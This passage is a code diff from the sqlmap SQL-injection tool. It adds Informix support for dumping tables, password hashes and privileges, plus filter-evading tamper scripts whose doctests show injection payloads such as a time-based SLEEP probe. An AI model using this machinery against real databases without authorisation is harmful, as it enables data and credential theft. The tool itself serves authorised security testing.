+                            kb.dumpColumns.append(randomStr().lower())
+                            expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)
+
+                        values = unionUse(expression)
+                        kb.rowXmlMode = False
+                        kb.dumpColumns = None
+
+                    if values is None:
+                        values = inject.getValue(query, blind=False, time=False)
 
                 if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
                     index, values = 1, []
@@ -585,8 +604,17 @@ class Databases:
                                 if len(columnData) == 1:
                                     columns[name] = None
                                 else:
+                                    key = int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1]
                                     if Backend.isDbms(DBMS.FIREBIRD):
-                                        columnData[1] = FIREBIRD_TYPES.get(int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1], columnData[1])
+                                        columnData[1] = FIREBIRD_TYPES.get(key, columnData[1])
+                                    elif Backend.isDbms(DBMS.INFORMIX):
+                                        notNull = False
+                                        if isinstance(key, int) and key > 255:
+                                            key -= 256
+                                            notNull = True
+                                        columnData[1] = INFORMIX_TYPES.get(key, columnData[1])
+                                        if notNull:
+                                            columnData[1] = "%s NOT NULL" % columnData[1]
 
                                     columns[name] = columnData[1]
 
@@ -638,6 +666,10 @@ class Databases:
                     query = rootQuery.blind.count % (tbl)
                     query += condQuery
 
+                elif Backend.isDbms(DBMS.INFORMIX):
+                    query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl)
+                    query += condQuery
+
                 elif Backend.isDbms(DBMS.SQLITE):
                     query = rootQuery.blind.query % tbl
                     value = unArrayizeValue(inject.getValue(query, union=False, error=False))
@@ -694,6 +726,10 @@ class Databases:
                         query = rootQuery.blind.query % (tbl)
                         query += condQuery
                         field = None
+                    elif Backend.isDbms(DBMS.INFORMIX):
+                        query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, tbl)
+                        query += condQuery
+                        field = condition
 
                     query = agent.limitQuery(index, query, field, field)
                     column = unArrayizeValue(inject.getValue(query, union=False, error=False))
@@ -726,11 +762,22 @@ class Databases:
                                                                 conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                             elif Backend.isDbms(DBMS.FIREBIRD):
                                 query = rootQuery.blind.query2 % (tbl, column)
+                            elif Backend.isDbms(DBMS.INFORMIX):
+                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl, column)
 
                             colType = unArrayizeValue(inject.getValue(query, union=False, error=False))
 
+                            key = int(colType) if isinstance(colType, basestring) and colType.isdigit() else colType
                             if Backend.isDbms(DBMS.FIREBIRD):
-                                colType = FIREBIRD_TYPES.get(colType, colType)
+                                colType = FIREBIRD_TYPES.get(key, colType)
+                            elif Backend.isDbms(DBMS.INFORMIX):
+                                notNull = False
+                                if isinstance(key, int) and key > 255:
+                                    key -= 256
+                                    notNull = True
+                                colType = INFORMIX_TYPES.get(key, colType)
+                                if notNull:
+                                    colType = "%s NOT NULL" % colType
 
                             column = safeSQLIdentificatorNaming(column)
                             columns[column] = colType

plugins/generic/entries.py

@@ -110,7 +110,10 @@ class Entries:
                 kb.data.cachedColumns = foundData
 
             try:
-                kb.dumpTable = "%s.%s" % (conf.db, tbl)
+                if Backend.isDbms(DBMS.INFORMIX):
+                    kb.dumpTable = "%s:%s" % (conf.db, tbl)
+                else:
+                    kb.dumpTable = "%s.%s" % (conf.db, tbl)
 
                 if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
                    or safeSQLIdentificatorNaming(tbl, True) not in \
@@ -137,6 +140,7 @@ class Entries:
                     logger.warn(warnMsg)
                     continue
 
+                kb.dumpColumns = colList
                 colNames = colString = ", ".join(column for column in colList)
                 rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
 
@@ -235,6 +239,8 @@ class Entries:
                         query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
                     elif Backend.isDbms(DBMS.MAXDB):
                         query = rootQuery.blind.count % tbl
+                    elif Backend.isDbms(DBMS.INFORMIX):
+                        query = rootQuery.blind.count % (conf.db, tbl)
                     else:
                         query = rootQuery.blind.count % (conf.db, tbl)
 
@@ -315,14 +321,13 @@ class Entries:
                                     if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                                         query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                     elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
-                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column),
-                                                                        tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())),
-                                                                        index)
+                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
                                     elif Backend.isDbms(DBMS.SQLITE):
                                         query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
-
                                     elif Backend.isDbms(DBMS.FIREBIRD):
                                         query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
+                                    elif Backend.isDbms(DBMS.INFORMIX):
+                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
 
                                     query = whereQuery(query)
 
@@ -370,6 +375,7 @@ class Entries:
                 logger.critical(errMsg)
 
             finally:
+                kb.dumpColumns = None
                 kb.dumpTable = None
 
     def dumpAll(self):

plugins/generic/filesystem.py

@@ -28,6 +28,7 @@ from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import EXPECTED
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapUndefinedMethod
+from lib.core.settings import UNICODE_ENCODING
 from lib.request import inject
 
 class Filesystem:
@@ -69,7 +70,7 @@ class Filesystem:
 
             if isNumPosStrValue(remoteFileSize):
                 remoteFileSize = long(remoteFileSize)
-                localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding())
+                localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
                 sameFile = False
 
                 if localFileSize == remoteFileSize:

plugins/generic/search.py

@@ -175,14 +175,17 @@ class Search:
                 infoMsg += "s LIKE"
             infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
 
-            if dbCond and conf.db and conf.db != CURRENT_DB:
+            if conf.db == CURRENT_DB:
+                conf.db = self.getCurrentDb()
+
+            if dbCond and conf.db:
                 _ = conf.db.split(",")
                 whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
                 infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
             elif conf.excludeSysDbs:
                 whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
-                infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
-                logger.info(infoMsg2)
+                msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
+                logger.info(msg)
             else:
                 whereDbsQuery = ""
 
@@ -400,14 +403,17 @@ class Search:
                 whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
                 infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))
 
-            if conf.db and conf.db != CURRENT_DB:
+            if conf.db == CURRENT_DB:
+                conf.db = self.getCurrentDb()
+
+            if conf.db:
                 _ = conf.db.split(",")
                 whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
                 infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _))
             elif conf.excludeSysDbs:
                 whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
-                infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
-                logger.info(infoMsg2)
+                msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
+                logger.info(msg)
             else:
                 infoMsgDb = " across all databases"
 

plugins/generic/users.py

@@ -27,10 +27,11 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
+from lib.core.dicts import DB2_PRIVS
+from lib.core.dicts import FIREBIRD_PRIVS
+from lib.core.dicts import INFORMIX_PRIVS
 from lib.core.dicts import MYSQL_PRIVS
 from lib.core.dicts import PGSQL_PRIVS
-from lib.core.dicts import FIREBIRD_PRIVS
-from lib.core.dicts import DB2_PRIVS
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
@@ -251,22 +252,25 @@ class Users:
                     if user in retrievedUsers:
                         continue
 
-                    infoMsg = "fetching number of password hashes "
-                    infoMsg += "for user '%s'" % user
-                    logger.info(infoMsg)
-
-                    if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
-                        query = rootQuery.blind.count2 % user
+                    if Backend.isDbms(DBMS.INFORMIX):
+                        count = 1
                     else:
-                        query = rootQuery.blind.count % user
+                        infoMsg = "fetching number of password hashes "
+                        infoMsg += "for user '%s'" % user
+                        logger.info(infoMsg)
 
-                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+                        if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
+                            query = rootQuery.blind.count2 % user
+                        else:
+                            query = rootQuery.blind.count % user
 
-                    if not isNumPosStrValue(count):
-                        warnMsg = "unable to retrieve the number of password "
-                        warnMsg += "hashes for user '%s'" % user
-                        logger.warn(warnMsg)
-                        continue
+                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+
+                        if not isNumPosStrValue(count):
+                            warnMsg = "unable to retrieve the number of password "
+                            warnMsg += "hashes for user '%s'" % user
+                            logger.warn(warnMsg)
+                            continue
 
                     infoMsg = "fetching password hashes for user '%s'" % user
                     logger.info(infoMsg)
@@ -282,11 +286,14 @@ class Users:
                                 query = rootQuery.blind.query2 % (user, index, user)
                             else:
                                 query = rootQuery.blind.query % (user, index, user)
+                        elif Backend.isDbms(DBMS.INFORMIX):
+                            query = rootQuery.blind.query % (user,)
                         else:
                             query = rootQuery.blind.query % (user, index)
 
                         password = unArrayizeValue(inject.getValue(query, union=False, error=False))
                         password = parsePasswordHash(password)
+
                         passwords.append(password)
 
                     if passwords:
@@ -470,32 +477,35 @@ class Users:
                 if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                     user = "%%%s%%" % user
 
-                infoMsg = "fetching number of privileges "
-                infoMsg += "for user '%s'" % outuser
-                logger.info(infoMsg)
-
-                if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
-                    query = rootQuery.blind.count2 % user
-                elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
-                    query = rootQuery.blind.count % (conditionChar, user)
-                elif Backend.isDbms(DBMS.ORACLE) and query2:
-                    query = rootQuery.blind.count2 % user
+                if Backend.isDbms(DBMS.INFORMIX):
+                    count = 1
                 else:
-                    query = rootQuery.blind.count % user
+                    infoMsg = "fetching number of privileges "
+                    infoMsg += "for user '%s'" % outuser
+                    logger.info(infoMsg)
 
-                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
+                        query = rootQuery.blind.count2 % user
+                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
+                        query = rootQuery.blind.count % (conditionChar, user)
+                    elif Backend.isDbms(DBMS.ORACLE) and query2:
+                        query = rootQuery.blind.count2 % user
+                    else:
+                        query = rootQuery.blind.count % user
 
-                if not isNumPosStrValue(count):
-                    if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
-                        infoMsg = "trying with table USER_SYS_PRIVS"
-                        logger.info(infoMsg)
+                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
 
-                        return self.getPrivileges(query2=True)
+                    if not isNumPosStrValue(count):
+                        if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
+                            infoMsg = "trying with table USER_SYS_PRIVS"
+                            logger.info(infoMsg)
 
-                    warnMsg = "unable to retrieve the number of "
-                    warnMsg += "privileges for user '%s'" % outuser
-                    logger.warn(warnMsg)
-                    continue
+                            return self.getPrivileges(query2=True)
+
+                        warnMsg = "unable to retrieve the number of "
+                        warnMsg += "privileges for user '%s'" % outuser
+                        logger.warn(warnMsg)
+                        continue
 
                 infoMsg = "fetching privileges for user '%s'" % outuser
                 logger.info(infoMsg)
@@ -514,6 +524,8 @@ class Users:
                         query = rootQuery.blind.query2 % (user, index)
                     elif Backend.isDbms(DBMS.FIREBIRD):
                         query = rootQuery.blind.query % (index, user)
+                    elif Backend.isDbms(DBMS.INFORMIX):
+                        query = rootQuery.blind.query % (user,)
                     else:
                         query = rootQuery.blind.query % (user, index)
 
@@ -561,6 +573,10 @@ class Users:
                     elif Backend.isDbms(DBMS.FIREBIRD):
                         privileges.add(FIREBIRD_PRIVS[privilege.strip()])
 
+                    # In Informix we get one letter for the highest privilege
+                    elif Backend.isDbms(DBMS.INFORMIX):
+                        privileges.add(INFORMIX_PRIVS[privilege.strip()])
+
                     # In DB2 we get Y or G if the privilege is
                     # True, N otherwise
                     elif Backend.isDbms(DBMS.DB2):

sqlmap.conf

@@ -98,6 +98,22 @@ authCred =
 # Syntax: key_file
 authFile = 
 
+# Ignore HTTP Error 401 (Unauthorized).
+# Valid: True or False
+ignore401 = False
+
+# Ignore system default proxy settings.
+# Valid: True or False
+ignoreProxy = False
+
+# Ignore redirection attempts.
+# Valid: True or False
+ignoreRedirects = False
+
+# Ignore connection timeouts.
+# Valid: True or False
+ignoreTimeouts = False
+
 # Use a proxy to connect to the target URL.
 # Syntax: (http|https|socks4|socks5)://address:port
 proxy = 
@@ -110,10 +126,6 @@ proxyCred =
 # Load proxy list from a file
 proxyFile =
 
-# Ignore system default proxy settings.
-# Valid: True or False
-ignoreProxy = False
-
 # Use Tor anonymity network.
 # Valid: True or False
 tor = False
@@ -124,7 +136,7 @@ tor = False
 
 # Set Tor proxy type.
 # Valid: HTTP, SOCKS4, SOCKS5
-torType = HTTP
+torType = SOCKS5
 
 # Check to see if Tor is used properly.
 # Valid: True or False
@@ -222,7 +234,7 @@ testParameter =
 # Skip testing for given parameter(s).
 skip =
 
-# Skip testing parameters that not appear dynamic.
+# Skip testing parameters that not appear to be dynamic.
 # Valid: True or False
 skipStatic = False
 
@@ -369,7 +381,7 @@ uFrom =
 
 # Domain name used for DNS exfiltration attack
 # Valid: string
-dnsName =
+dnsDomain =
 
 # Resulting page URL searched for second-order response
 # Valid: string

sqlmap.py

@@ -34,6 +34,7 @@ from lib.core.data import logger
 try:
     from lib.controller.controller import start
     from lib.core.common import banner
+    from lib.core.common import checkIntegrity
     from lib.core.common import createGithubIssue
     from lib.core.common import dataToStdout
     from lib.core.common import getSafeExString
@@ -44,7 +45,6 @@ try:
     from lib.core.data import cmdLineOptions
     from lib.core.data import conf
     from lib.core.data import kb
-    from lib.core.data import paths
     from lib.core.common import unhandledExceptionMessage
     from lib.core.common import MKSTEMP_PREFIX
     from lib.core.exception import SqlmapBaseException
@@ -54,15 +54,15 @@ try:
     from lib.core.option import initOptions
     from lib.core.option import init
     from lib.core.profiling import profile
+    from lib.core.settings import GIT_PAGE
     from lib.core.settings import IS_WIN
     from lib.core.settings import LEGAL_DISCLAIMER
     from lib.core.settings import THREAD_FINALIZATION_TIMEOUT
+    from lib.core.settings import UNICODE_ENCODING
     from lib.core.settings import VERSION
     from lib.core.testing import smokeTest
     from lib.core.testing import liveTest
     from lib.parse.cmdline import cmdLineParser
-    from lib.utils.api import setRestAPILog
-    from lib.utils.api import StdDbOut
 except KeyboardInterrupt:
     errMsg = "user aborted"
     logger.error(errMsg)
@@ -80,13 +80,11 @@ def modulePath():
     except NameError:
         _ = inspect.getsourcefile(modulePath)
 
-    return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding())
+    return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
 
 def checkEnvironment():
-    paths.SQLMAP_ROOT_PATH = modulePath()
-
     try:
-        os.path.isdir(paths.SQLMAP_ROOT_PATH)
+        os.path.isdir(modulePath())
     except UnicodeEncodeError:
         errMsg = "your system does not properly handle non-ASCII paths. "
         errMsg += "Please move the sqlmap's directory to the other location"
@@ -101,6 +99,15 @@ def checkEnvironment():
         logger.critical(errMsg)
         raise SystemExit
 
+    # Patch for pip (import) environment
+    if "sqlmap.sqlmap" in sys.modules:
+        for _ in ("cmdLineOptions", "conf", "kb"):
+            globals()[_] = getattr(sys.modules["lib.core.data"], _)
+
+        for _ in ("SqlmapBaseException", "SqlmapShellQuitException", "SqlmapSilentQuitException", "SqlmapUserQuitException"):
+            globals()[_] = getattr(sys.modules["lib.core.exception"], _)
+
+
 def main():
     """
     Main function of sqlmap when running from command line.
@@ -109,7 +116,7 @@ def main():
     try:
         checkEnvironment()
 
-        setPaths()
+        setPaths(modulePath())
         banner()
 
         # Store original command line options for possible later restoration
@@ -117,6 +124,10 @@ def main():
         initOptions(cmdLineOptions)
 
         if hasattr(conf, "api"):
+            # heavy imports
+            from lib.utils.api import StdDbOut
+            from lib.utils.api import setRestAPILog
+
             # Overwrite system standard output and standard error to write
             # to an IPC database
             sys.stdout = StdDbOut(conf.taskid, messagetype="stdout")
@@ -194,11 +205,48 @@ def main():
         excMsg = traceback.format_exc()
 
         try:
-            if any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")):
+            if not checkIntegrity():
+                errMsg = "code integrity check failed (turning off automatic issue creation). "
+                errMsg += "You should retrieve the latest development version from official GitHub "
+                errMsg += "repository at '%s'" % GIT_PAGE
+                logger.critical(errMsg)
+                print
+                dataToStdout(excMsg)
+                raise SystemExit
+
+            elif "tamper/" in excMsg:
+                logger.critical(errMsg)
+                print
+                dataToStdout(excMsg)
+                raise SystemExit
+
+            elif "MemoryError" in excMsg:
+                errMsg = "memory exhaustion detected"
+                logger.error(errMsg)
+                raise SystemExit
+
+            elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")):
                 errMsg = "no space left on output device"
                 logger.error(errMsg)
                 raise SystemExit
 
+            elif all(_ in excMsg for _ in ("No such file", "_'", "self.get_prog_name()")):
+                errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1]
+                errMsg += "You should retrieve the latest development version from official GitHub "
+                errMsg += "repository at '%s'" % GIT_PAGE
+                logger.error(errMsg)
+                raise SystemExit
+
+            elif "Read-only file system" in excMsg:
+                errMsg = "output device is mounted as read-only"
+                logger.error(errMsg)
+                raise SystemExit
+
+            elif "OperationalError: disk I/O error" in excMsg:
+                errMsg = "I/O error on output device"
+                logger.error(errMsg)
+                raise SystemExit
+
             elif "_mkstemp_inner" in excMsg:
                 errMsg = "there has been a problem while accessing temporary files"
                 logger.error(errMsg)
@@ -250,20 +298,21 @@ def main():
 
     finally:
         kb.threadContinue = False
-        kb.threadException = True
 
         if conf.get("showTime"):
             dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True)
 
+        kb.threadException = True
+
         if kb.get("tempDir"):
-                for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
-                    for filepath in glob.glob(os.path.join(kb.tempDir, "%s*" % prefix)):
-                        try:
-                            os.remove(filepath)
-                        except OSError:
-                            pass
-                if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
-                    shutil.rmtree(kb.tempDir, ignore_errors=True)
+            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
+                for filepath in glob.glob(os.path.join(kb.tempDir, "%s*" % prefix)):
+                    try:
+                        os.remove(filepath)
+                    except OSError:
+                        pass
+            if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
+                shutil.rmtree(kb.tempDir, ignore_errors=True)
 
         if conf.get("hashDB"):
             try:
@@ -279,7 +328,7 @@ def main():
 
         if hasattr(conf, "api"):
             try:
-                conf.database_cursor.disconnect()
+                conf.databaseCursor.disconnect()
             except KeyboardInterrupt:
                 pass
 
@@ -293,10 +342,10 @@ def main():
                 time.sleep(0.01)
         except KeyboardInterrupt:
             pass
-
-        # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
-        if threading.activeCount() > 1:
-            os._exit(0)
+        finally:
+            # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
+            if threading.activeCount() > 1:
+                os._exit(0)
 
 if __name__ == "__main__":
     main()

sqlmapapi.py

@@ -15,7 +15,6 @@ from lib.utils import versioncheck  # this has to be the first non-standard impo
 
 from sqlmap import modulePath
 from lib.core.common import setPaths
-from lib.core.data import paths
 from lib.core.data import logger
 from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
 from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
@@ -31,17 +30,16 @@ def main():
     # Set default logging level to debug
     logger.setLevel(logging.DEBUG)
 
-    # Initialize path variable
-    paths.SQLMAP_ROOT_PATH = modulePath()
-    setPaths()
+    # Initialize paths
+    setPaths(modulePath())
 
     # Parse command line options
     apiparser = optparse.OptionParser()
     apiparser.add_option("-s", "--server", help="Act as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true")
     apiparser.add_option("-c", "--client", help="Act as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true")
-    apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server", default=RESTAPI_DEFAULT_ADDRESS, action="store")
-    apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server", default=RESTAPI_DEFAULT_PORT, type="int", action="store")
-    apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default %s)" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store")
+    apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store")
+    apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store")
+    apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store")
     (args, _) = apiparser.parse_args()
 
     # Start the client or the server

tamper/htmlencode.py

@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.LOW
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    HTML encode (using code points) all non-alphanumeric characters
+
+    >>> tamper("1' AND SLEEP(5)#")
+    '1' AND SLEEP(5)#'
+    """
+
+    return re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload

tamper/plus2concat.py

@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from lib.core.common import zeroDepthSearch
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces plus ('+') character with function CONCAT()
+
+    Tested against:
+        * Microsoft SQL Server 2012
+
+    Requirements:
+        * Microsoft SQL Server 2012+
+
+    Notes:
+        * Useful in case ('+') character is filtered
+
+    >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
+    'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'
+    """
+
+    retVal = payload
+
+    if payload:
+        while True:
+            indexes = zeroDepthSearch(retVal, '+')
+            if indexes:
+                first, last = 0, 0
+                for i in xrange(1, len(indexes)):
+                    if ' ' in retVal[indexes[0]:indexes[i]]:
+                        break
+                    else:
+                        last = i
+
+                start = retVal[:indexes[first]].rfind(' ') + 1
+                end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1
+
+                chars = [char for char in retVal]
+                for index in indexes[first:last + 1]:
+                    chars[index] = ','
+
+                retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:])
+            else:
+                break
+
+    return retVal

thirdparty/beautifulsoup/beautifulsoup.py

@@ -512,25 +512,29 @@ class Tag(PageElement):
         entities with the appropriate Unicode characters. If HTML
         entities are being converted, any unrecognized entities are
         escaped."""
-        x = match.group(1)
-        if self.convertHTMLEntities and x in name2codepoint:
-            return unichr(name2codepoint[x])
-        elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS:
-            if self.convertXMLEntities:
-                return self.XML_ENTITIES_TO_SPECIAL_CHARS[x]
-            else:
-                return u'&%s;' % x
-        elif len(x) > 0 and x[0] == '#':
-            # Handle numeric entities
-            if len(x) > 1 and x[1] == 'x':
-                return unichr(int(x[2:], 16))
-            else:
-                return unichr(int(x[1:]))
+        try:
+            x = match.group(1)
+            if self.convertHTMLEntities and x in name2codepoint:
+                return unichr(name2codepoint[x])
+            elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS:
+                if self.convertXMLEntities:
+                    return self.XML_ENTITIES_TO_SPECIAL_CHARS[x]
+                else:
+                    return u'&%s;' % x
+            elif len(x) > 0 and x[0] == '#':
+                # Handle numeric entities
+                if len(x) > 1 and x[1] == 'x':
+                    return unichr(int(x[2:], 16))
+                else:
+                    return unichr(int(x[1:]))
 
-        elif self.escapeUnrecognizedEntities:
-            return u'&%s;' % x
-        else:
-            return u'&%s;' % x
+            elif self.escapeUnrecognizedEntities:
+                return u'&%s;' % x
+
+        except ValueError:  # e.g. ValueError: unichr() arg not in range(0x10000)
+            pass
+
+        return u'&%s;' % x
 
     def __init__(self, parser, name, attrs=None, parent=None,
                  previous=None):

thirdparty/clientform/clientform.py

@@ -1142,7 +1142,7 @@ def _ParseFileEx(file, base_uri,
         try:
             form.fixup()
         except AttributeError, ex:
-            if "item is disabled" not in str(ex):
+            if not any(_ in str(ex) for _ in ("is disabled", "is readonly")):
                 raise
     return forms
 

thirdparty/magic/magic.py

@@ -199,7 +199,7 @@ try:
     magic_compile.restype = c_int
     magic_compile.argtypes = [magic_t, c_char_p]
 
-except ImportError:
+except (ImportError, OSError):
     from_file = from_buffer = lambda *args, **kwargs: "unknown"
 
 MAGIC_NONE = 0x000000 # No flags

thirdparty/multipart/multipartpost.py

@@ -47,13 +47,13 @@ class MultipartPostHandler(urllib2.BaseHandler):
     def http_request(self, request):
         data = request.get_data()
 
-        if data is not None and type(data) != str:
+        if isinstance(data, dict):
             v_files = []
             v_vars = []
 
             try:
                 for(key, value) in data.items():
-                    if isinstance(value, file) or hasattr(value, 'file') or isinstance(value, StringIO.StringIO):
+                    if isinstance(value, file) or hasattr(value, "file") or isinstance(value, StringIO.StringIO):
                         v_files.append((key, value))
                     else:
                         v_vars.append((key, value))
@@ -65,10 +65,10 @@ class MultipartPostHandler(urllib2.BaseHandler):
                 data = urllib.urlencode(v_vars, doseq)
             else:
                 boundary, data = self.multipart_encode(v_vars, v_files)
-                contenttype = 'multipart/form-data; boundary=%s' % boundary
-                #if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0):
-                #    print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data')
-                request.add_unredirected_header('Content-Type', contenttype)
+                contenttype = "multipart/form-data; boundary=%s" % boundary
+                #if (request.has_header("Content-Type") and request.get_header("Content-Type").find("multipart/form-data") != 0):
+                #    print "Replacing %s with %s" % (request.get_header("content-type"), "multipart/form-data")
+                request.add_unredirected_header("Content-Type", contenttype)
 
             request.add_data(data)
         return request
@@ -78,32 +78,32 @@ class MultipartPostHandler(urllib2.BaseHandler):
             boundary = mimetools.choose_boundary()
 
         if buf is None:
-            buf = ''
+            buf = ""
 
         for (key, value) in vars:
             if key is not None and value is not None:
-                buf += '--%s\r\n' % boundary
-                buf += 'Content-Disposition: form-data; name="%s"' % key
-                buf += '\r\n\r\n' + value + '\r\n'
+                buf += "--%s\r\n" % boundary
+                buf += "Content-Disposition: form-data; name=\"%s\"" % key
+                buf += "\r\n\r\n" + value + "\r\n"
 
         for (key, fd) in files:
